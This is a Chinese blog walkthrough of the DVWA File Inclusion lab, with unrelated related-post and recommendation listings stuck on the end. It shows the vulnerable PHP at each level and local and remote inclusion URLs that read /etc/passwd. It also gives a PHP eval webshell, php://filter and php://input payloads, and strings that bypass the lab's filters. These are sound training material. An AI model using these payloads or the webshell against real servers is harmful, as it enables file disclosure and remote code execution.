日期:2019-07-28 20:58:29
更新:
作者:Bay0net
介绍:


0x01、 漏洞介绍

文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行。

如果文件内容有 php 代码,则会执行 php 代码并返回代码执行的结果。

如果文件内容没有 php 代码,则把文件内容打印出来。

0x02、Low Security Level

查看源码

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. ?>

服务器获取 page 的值,没有进行任何过滤。

文件包含

  1. # 原 URL
  2. http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
  3. # 本地文件包含,读文件(绝对路径 或 相对路径)
  4. http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
  5. http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd
  6. # 远程文件包含
  7. http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com

获取 shell

本地文件包含一句话木马,木马所在文件为 /tmp/1.txt,内容如下

  1. <?php @eval($_POST["gg"]); ?>

伪协议读文件

0x01 所述,所有的 php 文件都会当成代码来执行,所以无法读取源码,如果 flagphp 文件中,那么我们就需要想办法来读取 flag

  1. # 直接读取,PHP 代码直接执行
  2. http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
  3. # 利用伪协议读取源码
  4. http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

复制出来第一行,然后直接 base64 解码即可。

伪协议 执行命令

利用的是 php://input 伪协议。

  1. URL http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
  2. POST:<?php phpinfo(); ?>

0x03、Medium Security Level

查看源码

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Input validation
  5. $file = ( array( "http://", "https://" ), "", $file );
  6. $file = str_replace( array( "../", "..\"" ), "", $file );
  7. ?>

过滤了一些东西,array 里面的就是。

绕过方法

1、使用绝对路径绕过。

2、使用的是 str_replace() 函数,可以使用重写的方式绕过

  1. htthttp://p:// -> http://
  2. ..././ -> ../

0x04、High Security Level

查看源码

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Input validation
  5. if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
  6. // This isn't the page we want!
  7. echo "ERROR: File not found!";
  8. exit;
  9. }
  10. ?>

满足以下两个条件,则报错:

  1. 传过来的 page 里面没有 file*
  2. $file 不等于 include.php

绕过方法

1、使用伪协议绕过。

  1. http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd

2、URL 包含关键字

  1. # 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
  2. http://vps.ip:9090/file.html

0x05、Impossible Security Level

查看源码

  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Only allow include.php or file{1..3}.php
  5. if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
  6. // This isn't the page we want!
  7. echo "ERROR: File not found!";
  8. exit;
  9. }
  10. ?>

写死了文件名,无解。。。

0x06、Reference

PHP fnmatch() 函数 | 菜鸟教程

PHP str_replace() 函数

DVWA-文件包含学习笔记 - 雨中落叶 - 博客园

【DVWA】File Inclusion(文件包含漏洞)通关教程的更多相关文章

  1. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  2. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  3. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  4. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  5. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  6. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  7. 文件包含漏洞(file inclusion)

    文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...

  8. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  9. 文件包含漏洞(DVWA环境中复现)

    LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...

  10. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

随机推荐

  1. OpenCV 在VS2013的安装

    现在就介绍下如何在VS2013上配置openCV3.0的方法 如果是32位操作系统的:https://www.cnblogs.com/ssjie/p/4943439.html 1.下载openCV3. ...

  2. NFS 网络文件系统快速部署手册

    NFS服务端部署配置 一.安装nfs-utils和rpcbind服务,安装完后检查 # yum install -y nfs-utils rpcbind # rpm -qa nfs-utils rpc ...

  3. win10 安装ubuntu16.04双系统

    安装了两天的ubuntu系统,很是头疼,发现网上的内容,比较繁杂,因此,写此博客,进行综合整理,总结了安装方法.方便大家安装,减少搜索. 电脑是老师的电脑,配置为: 主板:微星 CPU:英特尔i5 7 ...

  4. springboot中使用拦截器

    5.1 回顾SpringMVC使用拦截器步骤 自定义拦截器类,实现HandlerInterceptor接口 注册拦截器类 5.2 Spring Boot使用拦截器步骤 5.2.1        按照S ...

  5. 好用的数据库压缩软件wingzip

    有时候我们导出.sql格式的数据库备份文件过大,超过了某些虚拟空间数据库支持的文件大小限制,我们没办法修改phpMyAdmin 导入MySQL数据库文件大小限制 只能通过压缩数据库来达到上传数据库的目 ...

  6. 使用RedisTemplate的操作类访问Redis(转载)

    原文地址:http://www.cnblogs.com/luochengqiuse/p/4641256.html private ValueOperations<K, V> valueOp ...

  7. Linux下的启动oracle服务 启动监听 开放端口操作

    尝试登录oracle 使用root用户将没有sqlplus命令 [root@localhost ~]# sqlplus /nolog bash: sqlplus: 未找到命令...     [root ...

  8. GitHub : Hello World

    这个写的太好啦,让我也没啥可以写的啦:http://www.open-open.com/lib/view/open1454507333214.html

  9. nginx第一天

    nginx 介绍 常见的webserver(排行https://news.netcraft.com/archives/2018/) 老牌:httpd(早期叫Apache),开源,市场份额最高 微软:i ...

  10. python 的pip安装

    C:\Python27>C:\Python27\Scripts\pip.exe install gevent gevent是安装的模块名